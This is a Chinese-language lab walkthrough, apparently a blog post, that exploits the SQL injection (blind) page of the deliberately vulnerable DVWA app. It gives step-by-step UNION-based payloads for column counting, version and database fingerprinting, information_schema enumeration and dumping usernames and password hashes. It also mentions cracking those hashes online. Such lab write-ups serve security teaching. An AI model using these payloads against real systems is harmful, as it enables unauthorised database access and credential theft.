Vulnerability: SQL Injection (Blind)与前面的Vulnerability: SQL Injection这两个页面的差别就在于有没有有用的错误信息或者我们已经习惯的反馈内容。
本文的终极任务是获得user和password。
1.简单的输入测试
输入2得到:
输入2 or 1=1得到:
输入 2' or '1'='1得到:
以上说明了 $id = mysql_real_escape_string($id);过滤掉了所有的引号,没有错误生成说明错误被过滤掉了,这也是为什么medium比low难了。
2.获得这个查询的属性的数量
输入2 order by 1 #:
输入2 order by 2 #:
输入2 order by 3 #:
说明这个查询有2个属性。
3.检查语法
输入2 union select 1,2 #:
4.获得数据库的相关信息
输入2 and 1=0 union select null,user() #:使用 and 1=0使前半句查询失效。
5.确定使用的是什么数据库以及它的版本
我们知道只有MySQL使用version_comment函数,若能得到它的返回值则说明数据库是MYSQL。
首先将version_comment的第一个字母与’5‘做比较,如果为’5‘则返回’1‘,否则返回’0‘,但不管怎么样,只要version_comment有返回就说明这个数据库是MySQL。
输入2 and 1=0 union select null,substring(@@version_comment,1,1)=5 #得到:
说明数据库是MYSQL。
更简单的办法得到MySQL的版本:
输入2 and 1=0 union select null,version() #得到:
还有另外一种更难的办法得到版本号——使用substring函数,一位一位的进行比较,对于’.'对应的十进制是46。在http://blog.csdn.net/youb11/article/details/45674605中有提到这个方法。具体如下:
2 and 1=0 union select null,substring(@@version,1,1)=5 #
2 and 1=0 union select null,ascii(substring(@@version,2,1))=46 #
2 and 1=0 union select null,substring(@@version,3,1)>5 # 用二分查找发确定每一位
······
6.获得当前数据库的名字
输入2 and 1=0 union select null,database() #得到:
7.获得schema列表
输入2 and 1=0 union select null,table_schema from information_schema.tables #得到:
确定“dvwa” schema对应于“dvwa”数据库。
8.获得与“dvwa” schema相关的表
输入2 and 1=0 union select null,table_name from information_schema.tables where table_schema=0x64767761 #:
table_schema后面不能接字符串只能接对应的ASCII的原因在http://blog.csdn.net/youb11/article/details/45696603有介绍。
9.获得表users的各列的名字
输入2 and 1=0 union select null,concat(table_name,0x0a,column_name) from information_schema.columns where table_name=0x7573657273 #:
从上面的输出中找到了user和password这两列
10.提取出用户名和密码
输入2 and 1=0 union select null,concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #:
对于一些密码的哈希值可以在网上解密出来。
任务完成(づ ̄ 3 ̄)づ